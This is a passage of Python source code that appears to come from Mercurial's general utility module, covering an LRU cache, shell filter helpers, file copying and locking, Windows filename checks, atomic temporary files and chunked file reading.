         yield
         return
     try:
         yield
         tr.close()
     except error.InterventionRequired:
         tr.close()
         raise
     finally:
         tr.release()
 
 @contextlib.contextmanager
 def nullcontextmanager():
     yield
 
 class _lrucachenode(object):
     """A node in a doubly linked list.
 
     Holds a reference to nodes on either side as well as a key-value
     pair for the dictionary entry.
     """
     __slots__ = (u'next', u'prev', u'key', u'value')
 
     def __init__(self):
         self.next = None
         self.prev = None
 
         self.key = _notset
         self.value = None
 
     def markempty(self):
         """Mark the node as emptied."""
         self.key = _notset
 
 class lrucachedict(object):
     """Dict that caches most recent accesses and sets.
 
     The dict consists of an actual backing dict - indexed by original
     key - and a doubly linked circular list defining the order of entries in
     the cache.
 
     The head node is the newest entry in the cache. If the cache is full,
     we recycle head.prev and make it the new head. Cache accesses result in
     the node being moved to before the existing head and being marked as the
     new head node.
     """
     def __init__(self, max):
         self._cache = {}
 
         self._head = head = _lrucachenode()
         head.prev = head
         head.next = head
         self._size = 1
         self._capacity = max
 
     def __len__(self):
         return len(self._cache)
 
     def __contains__(self, k):
         return k in self._cache
 
     def __iter__(self):
         # We don't have to iterate in cache order, but why not.
         n = self._head
         for i in range(len(self._cache)):
             yield n.key
             n = n.next
 
     def __getitem__(self, k):
         node = self._cache[k]
         self._movetohead(node)
         return node.value
 
     def __setitem__(self, k, v):
         node = self._cache.get(k)
         # Replace existing value and mark as newest.
         if node is not None:
             node.value = v
             self._movetohead(node)
             return
 
         if self._size < self._capacity:
             node = self._addcapacity()
         else:
             # Grab the last/oldest item.
             node = self._head.prev
 
         # At capacity. Kill the old entry.
         if node.key is not _notset:
             del self._cache[node.key]
 
         node.key = k
         node.value = v
         self._cache[k] = node
         # And mark it as newest entry. No need to adjust order since it
         # is already self._head.prev.
         self._head = node
 
     def __delitem__(self, k):
         node = self._cache.pop(k)
         node.markempty()
 
         # Temporarily mark as newest item before re-adjusting head to make
         # this node the oldest item.
         self._movetohead(node)
         self._head = node.next
 
     # Additional dict methods.
 
     def get(self, k, default=None):
         try:
             return self._cache[k].value
         except KeyError:
             return default
 
     def clear(self):
         n = self._head
         while n.key is not _notset:
             n.markempty()
             n = n.next
 
         self._cache.clear()
 
     def copy(self):
         result = lrucachedict(self._capacity)
         n = self._head.prev
         # Iterate in oldest-to-newest order, so the copy has the right ordering
         for i in range(len(self._cache)):
             result[n.key] = n.value
             n = n.prev
         return result
 
     def _movetohead(self, node):
         """Mark a node as the newest, making it the new head.
 
         When a node is accessed, it becomes the freshest entry in the LRU
         list, which is denoted by self._head.
 
         Visually, let's make ``N`` the new head node (* denotes head):
 
             previous/oldest <-> head <-> next/next newest
 
             ----<->--- A* ---<->-----
             |                       |
             E <-> D <-> N <-> C <-> B
 
         To:
 
             ----<->--- N* ---<->-----
             |                       |
             E <-> D <-> C <-> B <-> A
 
         This requires the following moves:
 
            C.next = D  (node.prev.next = node.next)
            D.prev = C  (node.next.prev = node.prev)
            E.next = N  (head.prev.next = node)
            N.prev = E  (node.prev = head.prev)
            N.next = A  (node.next = head)
            A.prev = N  (head.prev = node)
         """
         head = self._head
         # C.next = D
         node.prev.next = node.next
         # D.prev = C
         node.next.prev = node.prev
         # N.prev = E
         node.prev = head.prev
         # N.next = A
         # It is tempting to do just "head" here, however if node is
         # adjacent to head, this will do bad things.
         node.next = head.prev.next
         # E.next = N
         node.next.prev = node
         # A.prev = N
         node.prev.next = node
 
         self._head = node
 
     def _addcapacity(self):
         """Add a node to the circular linked list.
 
         The new node is inserted before the head node.
         """
         head = self._head
         node = _lrucachenode()
         head.prev.next = node
         node.prev = head.prev
         node.next = head
         head.prev = node
         self._size += 1
         return node
 
 def lrucachefunc(func):
     '''cache most recent results of function calls'''
     cache = {}
     order = collections.deque()
     if func.__code__.co_argcount == 1:
         def f(arg):
             if arg not in cache:
                 if len(cache) > 20:
                     del cache[order.popleft()]
                 cache[arg] = func(arg)
             else:
                 order.remove(arg)
             order.append(arg)
             return cache[arg]
     else:
         def f(*args):
             if args not in cache:
                 if len(cache) > 20:
                     del cache[order.popleft()]
                 cache[args] = func(*args)
             else:
                 order.remove(args)
             order.append(args)
             return cache[args]
 
     return f
 
 class propertycache(object):
     def __init__(self, func):
         self.func = func
         self.name = func.__name__
     def __get__(self, obj, type=None):
         result = self.func(obj)
         self.cachevalue(obj, result)
         return result
 
     def cachevalue(self, obj, value):
         # __dict__ assignment required to bypass __setattr__ (eg: repoview)
         obj.__dict__[self.name] = value
 
 def clearcachedproperty(obj, prop):
     '''clear a cached property value, if one has been set'''
     if prop in obj.__dict__:
         del obj.__dict__[prop]
 
 def pipefilter(s, cmd):
     '''filter string S through command CMD, returning its output'''
     p = subprocess.Popen(cmd, shell=True, close_fds=closefds,
                          stdin=subprocess.PIPE, stdout=subprocess.PIPE)
     pout, perr = p.communicate(s)
     return pout
 
 def tempfilter(s, cmd):
     '''filter string S through a pair of temporary files with CMD.
     CMD is used as a template to create the real command to be run,
     with the strings INFILE and OUTFILE replaced by the real names of
     the temporary files generated.'''
     inname, outname = None, None
     try:
         infd, inname = tempfile.mkstemp(prefix='hg-filter-in-')
         fp = os.fdopen(infd, pycompat.sysstr('wb'))
         fp.write(s)
         fp.close()
         outfd, outname = tempfile.mkstemp(prefix='hg-filter-out-')
         os.close(outfd)
         cmd = cmd.replace('INFILE', inname)
         cmd = cmd.replace('OUTFILE', outname)
         code = os.system(cmd)
         if pycompat.sysplatform == 'OpenVMS' and code & 1:
             code = 0
         if code:
             raise Abort(_("command '%s' failed: %s") %
                         (cmd, explainexit(code)))
         return readfile(outname)
     finally:
         try:
             if inname:
                 os.unlink(inname)
         except OSError:
             pass
         try:
             if outname:
                 os.unlink(outname)
         except OSError:
             pass
 
 filtertable = {
     'tempfile:': tempfilter,
     'pipe:': pipefilter,
     }
 
 def filter(s, cmd):
     "filter a string through a command that transforms its input to its output"
     for name, fn in filtertable.iteritems():
         if cmd.startswith(name):
             return fn(s, cmd[len(name):].lstrip())
     return pipefilter(s, cmd)
 
 def binary(s):
     """return true if a string is binary data"""
     return bool(s and '\0' in s)
 
 def increasingchunks(source, min=1024, max=65536):
     '''return no less than min bytes per chunk while data remains,
     doubling min after each chunk until it reaches max'''
     def log2(x):
         if not x:
             return 0
         i = 0
         while x:
             x >>= 1
             i += 1
         return i - 1
 
     buf = []
     blen = 0
     for chunk in source:
         buf.append(chunk)
         blen += len(chunk)
         if blen >= min:
             if min < max:
                 min = min << 1
                 nmin = 1 << log2(blen)
                 if nmin > min:
                     min = nmin
                 if min > max:
                     min = max
             yield ''.join(buf)
             blen = 0
             buf = []
     if buf:
         yield ''.join(buf)
 
 Abort = error.Abort
 
 def always(fn):
     return True
 
 def never(fn):
     return False
 
 def nogc(func):
     """disable garbage collector
 
     Python's garbage collector triggers a GC each time a certain number of
     container objects (the number being defined by gc.get_threshold()) are
     allocated even when marked not to be tracked by the collector. Tracking has
     no effect on when GCs are triggered, only on what objects the GC looks
     into. As a workaround, disable GC while building complex (huge)
     containers.
 
     This garbage collector issue have been fixed in 2.7. But it still affect
     CPython's performance.
     """
     def wrapper(*args, **kwargs):
         gcenabled = gc.isenabled()
         gc.disable()
         try:
             return func(*args, **kwargs)
         finally:
             if gcenabled:
                 gc.enable()
     return wrapper
 
 if pycompat.ispypy:
     # PyPy runs slower with gc disabled
     nogc = lambda x: x
 
 def pathto(root, n1, n2):
     '''return the relative path from one place to another.
     root should use os.sep to separate directories
     n1 should use os.sep to separate directories
     n2 should use "/" to separate directories
     returns an os.sep-separated path.
 
     If n1 is a relative path, it's assumed it's
     relative to root.
     n2 should always be relative to root.
     '''
     if not n1:
         return localpath(n2)
     if os.path.isabs(n1):
         if os.path.splitdrive(root)[0] != os.path.splitdrive(n1)[0]:
             return os.path.join(root, localpath(n2))
         n2 = '/'.join((pconvert(root), n2))
     a, b = splitpath(n1), n2.split('/')
     a.reverse()
     b.reverse()
     while a and b and a[-1] == b[-1]:
         a.pop()
         b.pop()
     b.reverse()
     return pycompat.ossep.join((['..'] * len(a)) + b) or '.'
 
 def mainfrozen():
     """return True if we are a frozen executable.
 
     The code supports py2exe (most common, Windows only) and tools/freeze
     (portable, not much used).
     """
     return (safehasattr(sys, "frozen") or # new py2exe
             safehasattr(sys, "importers") or # old py2exe
             imp.is_frozen(u"__main__")) # tools/freeze
 
 # the location of data files matching the source code
 if mainfrozen() and getattr(sys, 'frozen', None) != 'macosx_app':
     # executable version (py2exe) doesn't support __file__
     datapath = os.path.dirname(pycompat.sysexecutable)
 else:
     datapath = os.path.dirname(pycompat.fsencode(__file__))
 
 i18n.setdatapath(datapath)
 
 _hgexecutable = None
 
 def hgexecutable():
     """return location of the 'hg' executable.
 
     Defaults to $HG or 'hg' in the search path.
     """
     if _hgexecutable is None:
         hg = encoding.environ.get('HG')
         mainmod = sys.modules[pycompat.sysstr('__main__')]
         if hg:
             _sethgexecutable(hg)
         elif mainfrozen():
             if getattr(sys, 'frozen', None) == 'macosx_app':
                 # Env variable set by py2app
                 _sethgexecutable(encoding.environ['EXECUTABLEPATH'])
             else:
                 _sethgexecutable(pycompat.sysexecutable)
         elif (os.path.basename(
             pycompat.fsencode(getattr(mainmod, '__file__', ''))) == 'hg'):
             _sethgexecutable(pycompat.fsencode(mainmod.__file__))
         else:
             exe = findexe('hg') or os.path.basename(sys.argv[0])
             _sethgexecutable(exe)
     return _hgexecutable
 
 def _sethgexecutable(path):
     """set location of the 'hg' executable"""
     global _hgexecutable
     _hgexecutable = path
 
 def _isstdout(f):
     fileno = getattr(f, 'fileno', None)
     return fileno and fileno() == sys.__stdout__.fileno()
 
 def shellenviron(environ=None):
     """return environ with optional override, useful for shelling out"""
     def py2shell(val):
         'convert python object into string that is useful to shell'
         if val is None or val is False:
             return '0'
         if val is True:
             return '1'
         return str(val)
     env = dict(encoding.environ)
     if environ:
         env.update((k, py2shell(v)) for k, v in environ.iteritems())
     env['HG'] = hgexecutable()
     return env
 
 def system(cmd, environ=None, cwd=None, out=None):
     '''enhanced shell command execution.
     run with environment maybe modified, maybe in different dir.
 
     if out is specified, it is assumed to be a file-like object that has a
     write() method. stdout and stderr will be redirected to out.'''
     try:
         stdout.flush()
     except Exception:
         pass
     cmd = quotecommand(cmd)
     env = shellenviron(environ)
     if out is None or _isstdout(out):
         rc = subprocess.call(cmd, shell=True, close_fds=closefds,
                              env=env, cwd=cwd)
     else:
         proc = subprocess.Popen(cmd, shell=True, close_fds=closefds,
                                 env=env, cwd=cwd, stdout=subprocess.PIPE,
                                 stderr=subprocess.STDOUT)
         for line in iter(proc.stdout.readline, ''):
             out.write(line)
         proc.wait()
         rc = proc.returncode
     if pycompat.sysplatform == 'OpenVMS' and rc & 1:
         rc = 0
     return rc
 
 def checksignature(func):
     '''wrap a function with code to check for calling errors'''
     def check(*args, **kwargs):
         try:
             return func(*args, **kwargs)
         except TypeError:
             if len(traceback.extract_tb(sys.exc_info()[2])) == 1:
                 raise error.SignatureError
             raise
 
     return check
 
 # a whilelist of known filesystems where hardlink works reliably
 _hardlinkfswhitelist = {
     'btrfs',
     'ext2',
     'ext3',
     'ext4',
     'hfs',
     'jfs',
     'reiserfs',
     'tmpfs',
     'ufs',
     'xfs',
     'zfs',
 }
 
 def copyfile(src, dest, hardlink=False, copystat=False, checkambig=False):
     '''copy a file, preserving mode and optionally other stat info like
     atime/mtime
 
     checkambig argument is used with filestat, and is useful only if
     destination file is guarded by any lock (e.g. repo.lock or
     repo.wlock).
 
     copystat and checkambig should be exclusive.
     '''
     assert not (copystat and checkambig)
     oldstat = None
     if os.path.lexists(dest):
         if checkambig:
             oldstat = checkambig and filestat.frompath(dest)
         unlink(dest)
     if hardlink:
         # Hardlinks are problematic on CIFS (issue4546), do not allow hardlinks
         # unless we are confident that dest is on a whitelisted filesystem.
         try:
             fstype = getfstype(os.path.dirname(dest))
         except OSError:
             fstype = None
         if fstype not in _hardlinkfswhitelist:
             hardlink = False
     if hardlink:
         try:
             oslink(src, dest)
             return
         except (IOError, OSError):
             pass # fall back to normal copy
     if os.path.islink(src):
         os.symlink(os.readlink(src), dest)
         # copytime is ignored for symlinks, but in general copytime isn't needed
         # for them anyway
     else:
         try:
             shutil.copyfile(src, dest)
             if copystat:
                 # copystat also copies mode
                 shutil.copystat(src, dest)
             else:
                 shutil.copymode(src, dest)
                 if oldstat and oldstat.stat:
                     newstat = filestat.frompath(dest)
                     if newstat.isambig(oldstat):
                         # stat of copied file is ambiguous to original one
                         advanced = (oldstat.stat.st_mtime + 1) & 0x7fffffff
                         os.utime(dest, (advanced, advanced))
         except shutil.Error as inst:
             raise Abort(str(inst))
 
 def copyfiles(src, dst, hardlink=None, progress=lambda t, pos: None):
     """Copy a directory tree using hardlinks if possible."""
     num = 0
 
     gettopic = lambda: hardlink and _('linking') or _('copying')
 
     if os.path.isdir(src):
         if hardlink is None:
             hardlink = (os.stat(src).st_dev ==
                         os.stat(os.path.dirname(dst)).st_dev)
         topic = gettopic()
         os.mkdir(dst)
         for name, kind in listdir(src):
             srcname = os.path.join(src, name)
             dstname = os.path.join(dst, name)
             def nprog(t, pos):
                 if pos is not None:
                     return progress(t, pos + num)
             hardlink, n = copyfiles(srcname, dstname, hardlink, progress=nprog)
             num += n
     else:
         if hardlink is None:
             hardlink = (os.stat(os.path.dirname(src)).st_dev ==
                         os.stat(os.path.dirname(dst)).st_dev)
         topic = gettopic()
 
         if hardlink:
             try:
                 oslink(src, dst)
             except (IOError, OSError):
                 hardlink = False
                 shutil.copy(src, dst)
         else:
             shutil.copy(src, dst)
         num += 1
         progress(topic, num)
     progress(topic, None)
 
     return hardlink, num
 
 _winreservednames = {
     'con', 'prn', 'aux', 'nul',
     'com1', 'com2', 'com3', 'com4', 'com5', 'com6', 'com7', 'com8', 'com9',
     'lpt1', 'lpt2', 'lpt3', 'lpt4', 'lpt5', 'lpt6', 'lpt7', 'lpt8', 'lpt9',
 }
 _winreservedchars = ':*?"<>|'
 def checkwinfilename(path):
     r'''Check that the base-relative path is a valid filename on Windows.
     Returns None if the path is ok, or a UI string describing the problem.
 
     >>> checkwinfilename(b"just/a/normal/path")
     >>> checkwinfilename(b"foo/bar/con.xml")
     "filename contains 'con', which is reserved on Windows"
     >>> checkwinfilename(b"foo/con.xml/bar")
     "filename contains 'con', which is reserved on Windows"
     >>> checkwinfilename(b"foo/bar/xml.con")
     >>> checkwinfilename(b"foo/bar/AUX/bla.txt")
     "filename contains 'AUX', which is reserved on Windows"
     >>> checkwinfilename(b"foo/bar/bla:.txt")
     "filename contains ':', which is reserved on Windows"
     >>> checkwinfilename(b"foo/bar/b\07la.txt")
     "filename contains '\\x07', which is invalid on Windows"
     >>> checkwinfilename(b"foo/bar/bla ")
     "filename ends with ' ', which is not allowed on Windows"
     >>> checkwinfilename(b"../bar")
     >>> checkwinfilename(b"foo\\")
     "filename ends with '\\', which is invalid on Windows"
     >>> checkwinfilename(b"foo\\/bar")
     "directory name ends with '\\', which is invalid on Windows"
     '''
     if path.endswith('\\'):
         return _("filename ends with '\\', which is invalid on Windows")
     if '\\/' in path:
         return _("directory name ends with '\\', which is invalid on Windows")
     for n in path.replace('\\', '/').split('/'):
         if not n:
             continue
         for c in _filenamebytestr(n):
             if c in _winreservedchars:
                 return _("filename contains '%s', which is reserved "
                          "on Windows") % c
             if ord(c) <= 31:
                 return _("filename contains '%s', which is invalid "
                          "on Windows") % escapestr(c)
         base = n.split('.')[0]
         if base and base.lower() in _winreservednames:
             return _("filename contains '%s', which is reserved "
                      "on Windows") % base
         t = n[-1:]
         if t in '. ' and n not in '..':
             return _("filename ends with '%s', which is not allowed "
                      "on Windows") % t
 
 if pycompat.iswindows:
     checkosfilename = checkwinfilename
     timer = time.clock
 else:
     checkosfilename = platform.checkosfilename
     timer = time.time
 
 if safehasattr(time, "perf_counter"):
     timer = time.perf_counter
 
 def makelock(info, pathname):
     try:
         return os.symlink(info, pathname)
     except OSError as why:
         if why.errno == errno.EEXIST:
             raise
     except AttributeError: # no symlink in os
         pass
 
     ld = os.open(pathname, os.O_CREAT | os.O_WRONLY | os.O_EXCL)
     os.write(ld, info)
     os.close(ld)
 
 def readlock(pathname):
     try:
         return os.readlink(pathname)
     except OSError as why:
         if why.errno not in (errno.EINVAL, errno.ENOSYS):
             raise
     except AttributeError: # no symlink in os
         pass
     fp = posixfile(pathname)
     r = fp.read()
     fp.close()
     return r
 
 def fstat(fp):
     '''stat file object that may not have fileno method.'''
     try:
         return os.fstat(fp.fileno())
     except AttributeError:
         return os.stat(fp.name)
 
 # File system features
 
 def fscasesensitive(path):
     """
     Return true if the given path is on a case-sensitive filesystem
 
     Requires a path (like /foo/.hg) ending with a foldable final
     directory component.
     """
     s1 = os.lstat(path)
     d, b = os.path.split(path)
     b2 = b.upper()
     if b == b2:
         b2 = b.lower()
         if b == b2:
             return True # no evidence against case sensitivity
     p2 = os.path.join(d, b2)
     try:
         s2 = os.lstat(p2)
         if s2 == s1:
             return False
         return True
     except OSError:
         return True
 
 try:
     import re2
     _re2 = None
 except ImportError:
     _re2 = False
 
 class _re(object):
     def _checkre2(self):
         global _re2
         try:
             # check if match works, see issue3964
             _re2 = bool(re2.match(r'\[([^\[]+)\]', '[ui]'))
         except ImportError:
             _re2 = False
 
     def compile(self, pat, flags=0):
         '''Compile a regular expression, using re2 if possible
 
         For best performance, use only re2-compatible regexp features. The
         only flags from the re module that are re2-compatible are
         IGNORECASE and MULTILINE.'''
         if _re2 is None:
             self._checkre2()
         if _re2 and (flags & ~(remod.IGNORECASE | remod.MULTILINE)) == 0:
             if flags & remod.IGNORECASE:
                 pat = '(?i)' + pat
             if flags & remod.MULTILINE:
                 pat = '(?m)' + pat
             try:
                 return re2.compile(pat)
             except re2.error:
                 pass
         return remod.compile(pat, flags)
 
     @propertycache
     def escape(self):
         '''Return the version of escape corresponding to self.compile.
 
         This is imperfect because whether re2 or re is used for a particular
         function depends on the flags, etc, but it's the best we can do.
         '''
         global _re2
         if _re2 is None:
             self._checkre2()
         if _re2:
             return re2.escape
         else:
             return remod.escape
 
 re = _re()
 
 _fspathcache = {}
 def fspath(name, root):
     '''Get name in the case stored in the filesystem
 
     The name should be relative to root, and be normcase-ed for efficiency.
 
     Note that this function is unnecessary, and should not be
     called, for case-sensitive filesystems (simply because it's expensive).
 
     The root should be normcase-ed, too.
     '''
     def _makefspathcacheentry(dir):
         return dict((normcase(n), n) for n in os.listdir(dir))
 
     seps = pycompat.ossep
     if pycompat.osaltsep:
         seps = seps + pycompat.osaltsep
     # Protect backslashes. This gets silly very quickly.
     seps.replace('\\','\\\\')
     pattern = remod.compile(br'([^%s]+)|([%s]+)' % (seps, seps))
     dir = os.path.normpath(root)
     result = []
     for part, sep in pattern.findall(name):
         if sep:
             result.append(sep)
             continue
 
         if dir not in _fspathcache:
             _fspathcache[dir] = _makefspathcacheentry(dir)
         contents = _fspathcache[dir]
 
         found = contents.get(part)
         if not found:
             # retry "once per directory" per "dirstate.walk" which
             # may take place for each patches of "hg qpush", for example
             _fspathcache[dir] = contents = _makefspathcacheentry(dir)
             found = contents.get(part)
 
         result.append(found or part)
         dir = os.path.join(dir, part)
 
     return ''.join(result)
 
 def getfstype(dirpath):
     '''Get the filesystem type name from a directory (best-effort)
 
     Returns None if we are unsure. Raises OSError on ENOENT, EPERM, etc.
     '''
     return getattr(osutil, 'getfstype', lambda x: None)(dirpath)
 
 def checknlink(testfile):
     '''check whether hardlink count reporting works properly'''
 
     # testfile may be open, so we need a separate file for checking to
     # work around issue2543 (or testfile may get lost on Samba shares)
     f1, f2, fp = None, None, None
     try:
         fd, f1 = tempfile.mkstemp(prefix='.%s-' % os.path.basename(testfile),
                                   suffix='1~', dir=os.path.dirname(testfile))
         os.close(fd)
         f2 = '%s2~' % f1[:-2]
 
         oslink(f1, f2)
         # nlinks() may behave differently for files on Windows shares if
         # the file is open.
         fp = posixfile(f2)
         return nlinks(f2) > 1
     except OSError:
         return False
     finally:
         if fp is not None:
             fp.close()
         for f in (f1, f2):
             try:
                 if f is not None:
                     os.unlink(f)
             except OSError:
                 pass
 
 def endswithsep(path):
     '''Check path ends with os.sep or os.altsep.'''
     return (path.endswith(pycompat.ossep)
             or pycompat.osaltsep and path.endswith(pycompat.osaltsep))
 
 def splitpath(path):
     '''Split path by os.sep.
     Note that this function does not use os.altsep because this is
     an alternative of simple "xxx.split(os.sep)".
     It is recommended to use os.path.normpath() before using this
     function if need.'''
     return path.split(pycompat.ossep)
 
 def gui():
     '''Are we running in a GUI?'''
     if pycompat.isdarwin:
         if 'SSH_CONNECTION' in encoding.environ:
             # handle SSH access to a box where the user is logged in
             return False
         elif getattr(osutil, 'isgui', None):
             # check if a CoreGraphics session is available
             return osutil.isgui()
         else:
             # pure build; use a safe default
             return True
     else:
         return pycompat.iswindows or encoding.environ.get("DISPLAY")
 
 def mktempcopy(name, emptyok=False, createmode=None):
     """Create a temporary file with the same contents from name
 
     The permission bits are copied from the original file.
 
     If the temporary file is going to be truncated immediately, you
     can use emptyok=True as an optimization.
 
     Returns the name of the temporary file.
     """
     d, fn = os.path.split(name)
     fd, temp = tempfile.mkstemp(prefix='.%s-' % fn, suffix='~', dir=d)
     os.close(fd)
     # Temporary files are created with mode 0600, which is usually not
     # what we want.  If the original file already exists, just copy
     # its mode.  Otherwise, manually obey umask.
     copymode(name, temp, createmode)
     if emptyok:
         return temp
     try:
         try:
             ifp = posixfile(name, "rb")
         except IOError as inst:
             if inst.errno == errno.ENOENT:
                 return temp
             if not getattr(inst, 'filename', None):
                 inst.filename = name
             raise
         ofp = posixfile(temp, "wb")
         for chunk in filechunkiter(ifp):
             ofp.write(chunk)
         ifp.close()
         ofp.close()
     except: # re-raises
         try:
             os.unlink(temp)
         except OSError:
             pass
         raise
     return temp
 
 class filestat(object):
     """help to exactly detect change of a file
 
     'stat' attribute is result of 'os.stat()' if specified 'path'
     exists. Otherwise, it is None. This can avoid preparative
     'exists()' examination on client side of this class.
     """
     def __init__(self, stat):
         self.stat = stat
 
     @classmethod
     def frompath(cls, path):
         try:
             stat = os.stat(path)
         except OSError as err:
             if err.errno != errno.ENOENT:
                 raise
             stat = None
         return cls(stat)
 
     @classmethod
     def fromfp(cls, fp):
         stat = os.fstat(fp.fileno())
         return cls(stat)
 
     __hash__ = object.__hash__
 
     def __eq__(self, old):
         try:
             # if ambiguity between stat of new and old file is
             # avoided, comparison of size, ctime and mtime is enough
             # to exactly detect change of a file regardless of platform
             return (self.stat.st_size == old.stat.st_size and
                     self.stat.st_ctime == old.stat.st_ctime and
                     self.stat.st_mtime == old.stat.st_mtime)
         except AttributeError:
             pass
         try:
             return self.stat is None and old.stat is None
         except AttributeError:
             return False
 
     def isambig(self, old):
         """Examine whether new (= self) stat is ambiguous against old one
 
         "S[N]" below means stat of a file at N-th change:
 
         - S[n-1].ctime  < S[n].ctime: can detect change of a file
         - S[n-1].ctime == S[n].ctime
           - S[n-1].ctime  < S[n].mtime: means natural advancing (*1)
           - S[n-1].ctime == S[n].mtime: is ambiguous (*2)
           - S[n-1].ctime  > S[n].mtime: never occurs naturally (don't care)
         - S[n-1].ctime  > S[n].ctime: never occurs naturally (don't care)
 
         Case (*2) above means that a file was changed twice or more at
         same time in sec (= S[n-1].ctime), and comparison of timestamp
         is ambiguous.
 
         Base idea to avoid such ambiguity is "advance mtime 1 sec, if
         timestamp is ambiguous".
 
         But advancing mtime only in case (*2) doesn't work as
         expected, because naturally advanced S[n].mtime in case (*1)
         might be equal to manually advanced S[n-1 or earlier].mtime.
 
         Therefore, all "S[n-1].ctime == S[n].ctime" cases should be
         treated as ambiguous regardless of mtime, to avoid overlooking
         by confliction between such mtime.
 
         Advancing mtime "if isambig(oldstat)" ensures "S[n-1].mtime !=
         S[n].mtime", even if size of a file isn't changed.
         """
         try:
             return (self.stat.st_ctime == old.stat.st_ctime)
         except AttributeError:
             return False
 
     def avoidambig(self, path, old):
         """Change file stat of specified path to avoid ambiguity
 
         'old' should be previous filestat of 'path'.
 
         This skips avoiding ambiguity, if a process doesn't have
         appropriate privileges for 'path'. This returns False in this
         case.
 
         Otherwise, this returns True, as "ambiguity is avoided".
         """
         advanced = (old.stat.st_mtime + 1) & 0x7fffffff
         try:
             os.utime(path, (advanced, advanced))
         except OSError as inst:
             if inst.errno == errno.EPERM:
                 # utime() on the file created by another user causes EPERM,
                 # if a process doesn't have appropriate privileges
                 return False
             raise
         return True
 
     def __ne__(self, other):
         return not self == other
 
 class atomictempfile(object):
     '''writable file object that atomically updates a file
 
     All writes will go to a temporary copy of the original file. Call
     close() when you are done writing, and atomictempfile will rename
     the temporary copy to the original name, making the changes
     visible. If the object is destroyed without being closed, all your
     writes are discarded.
 
     checkambig argument of constructor is used with filestat, and is
     useful only if target file is guarded by any lock (e.g. repo.lock
     or repo.wlock).
     '''
     def __init__(self, name, mode='w+b', createmode=None, checkambig=False):
         self.__name = name      # permanent name
         self._tempname = mktempcopy(name, emptyok=('w' in mode),
                                     createmode=createmode)
         self._fp = posixfile(self._tempname, mode)
         self._checkambig = checkambig
 
         # delegated methods
         self.read = self._fp.read
         self.write = self._fp.write
         self.seek = self._fp.seek
         self.tell = self._fp.tell
         self.fileno = self._fp.fileno
 
     def close(self):
         if not self._fp.closed:
             self._fp.close()
             filename = localpath(self.__name)
             oldstat = self._checkambig and filestat.frompath(filename)
             if oldstat and oldstat.stat:
                 rename(self._tempname, filename)
                 newstat = filestat.frompath(filename)
                 if newstat.isambig(oldstat):
                     # stat of changed file is ambiguous to original one
                     advanced = (oldstat.stat.st_mtime + 1) & 0x7fffffff
                     os.utime(filename, (advanced, advanced))
             else:
                 rename(self._tempname, filename)
 
     def discard(self):
         if not self._fp.closed:
             try:
                 os.unlink(self._tempname)
             except OSError:
                 pass
             self._fp.close()
 
     def __del__(self):
         if safehasattr(self, '_fp'): # constructor actually did something
             self.discard()
 
     def __enter__(self):
         return self
 
     def __exit__(self, exctype, excvalue, traceback):
         if exctype is not None:
             self.discard()
         else:
             self.close()
 
 def unlinkpath(f, ignoremissing=False):
     """unlink and remove the directory if it is empty"""
     if ignoremissing:
         tryunlink(f)
     else:
         unlink(f)
     # try removing directories that might now be empty
     try:
         removedirs(os.path.dirname(f))
     except OSError:
         pass
 
 def tryunlink(f):
     """Attempt to remove a file, ignoring ENOENT errors."""
     try:
         unlink(f)
     except OSError as e:
         if e.errno != errno.ENOENT:
             raise
 
 def makedirs(name, mode=None, notindexed=False):
     """recursive directory creation with parent mode inheritance
 
     Newly created directories are marked as "not to be indexed by
     the content indexing service", if ``notindexed`` is specified
     for "write" mode access.
     """
     try:
         makedir(name, notindexed)
     except OSError as err:
         if err.errno == errno.EEXIST:
             return
         if err.errno != errno.ENOENT or not name:
             raise
         parent = os.path.dirname(os.path.abspath(name))
         if parent == name:
             raise
         makedirs(parent, mode, notindexed)
         try:
             makedir(name, notindexed)
         except OSError as err:
             # Catch EEXIST to handle races
             if err.errno == errno.EEXIST:
                 return
             raise
     if mode is not None:
         os.chmod(name, mode)
 
 def readfile(path):
     with open(path, 'rb') as fp:
         return fp.read()
 
 def writefile(path, text):
     with open(path, 'wb') as fp:
         fp.write(text)
 
 def appendfile(path, text):
     with open(path, 'ab') as fp:
         fp.write(text)
 
 class chunkbuffer(object):
     """Allow arbitrary sized chunks of data to be efficiently read from an
     iterator over chunks of arbitrary size."""
 
     def __init__(self, in_iter):
         """in_iter is the iterator that's iterating over the input chunks."""
         def splitbig(chunks):
             for chunk in chunks:
                 if len(chunk) > 2**20:
                     pos = 0
                     while pos < len(chunk):
                         end = pos + 2 ** 18
                         yield chunk[pos:end]
                         pos = end
                 else:
                     yield chunk
         self.iter = splitbig(in_iter)
         self._queue = collections.deque()
         self._chunkoffset = 0
 
     def read(self, l=None):
         """Read L bytes of data from the iterator of chunks of data.
         Returns less than L bytes if the iterator runs dry.
 
         If size parameter is omitted, read everything"""
         if l is None:
             return ''.join(self.iter)
 
         left = l
         buf = []
         queue = self._queue
         while left > 0:
             # refill the queue
             if not queue:
                 target = 2**18
                 for chunk in self.iter:
                     queue.append(chunk)
                     target -= len(chunk)
                     if target <= 0:
                         break
                 if not queue:
                     break
 
             # The easy way to do this would be to queue.popleft(), modify the
             # chunk (if necessary), then queue.appendleft(). However, for cases
             # where we read partial chunk content, this incurs 2 dequeue
             # mutations and creates a new str for the remaining chunk in the
             # queue. Our code below avoids this overhead.
 
             chunk = queue[0]
             chunkl = len(chunk)
             offset = self._chunkoffset
 
             # Use full chunk.
             if offset == 0 and left >= chunkl:
                 left -= chunkl
                 queue.popleft()
                 buf.append(chunk)
                 # self._chunkoffset remains at 0.
                 continue
 
             chunkremaining = chunkl - offset
 
             # Use all of unconsumed part of chunk.
             if left >= chunkremaining:
                 left -= chunkremaining
                 queue.popleft()
                 # offset == 0 is enabled by block above, so this won't merely
                 # copy via ``chunk[0:]``.
                 buf.append(chunk[offset:])
                 self._chunkoffset = 0
 
             # Partial chunk needed.
             else:
                 buf.append(chunk[offset:offset + left])
                 self._chunkoffset += left
                 left -= chunkremaining
 
         return ''.join(buf)
 
 def filechunkiter(f, size=131072, limit=None):
     """Create a generator that produces the data in the file size
     (default 131072) bytes at a time, up to optional limit (default is
     to read all data).  Chunks may be less than size bytes if the
     chunk is the last chunk in the file, or the file is a socket or
     some other type of file that sometimes reads less data than is
     requested."""
     assert size >= 0
     assert limit is None or limit >= 0
     while True:
         if limit is None:
             nbytes = size
         else:
             nbytes = min(limit, size)
         s = nbytes and f.read(nbytes)
         if not s:
             break
         if limit:
             limit -= len(s)
         yield s
 
 def makedate(timestamp=None):
     '''Return a unix timestamp (or the current time) as a (unixtime,
     offset) tuple based off the local timezone.'''
     if timestamp is None:
         timestamp = time.time()
     if timestamp < 0:
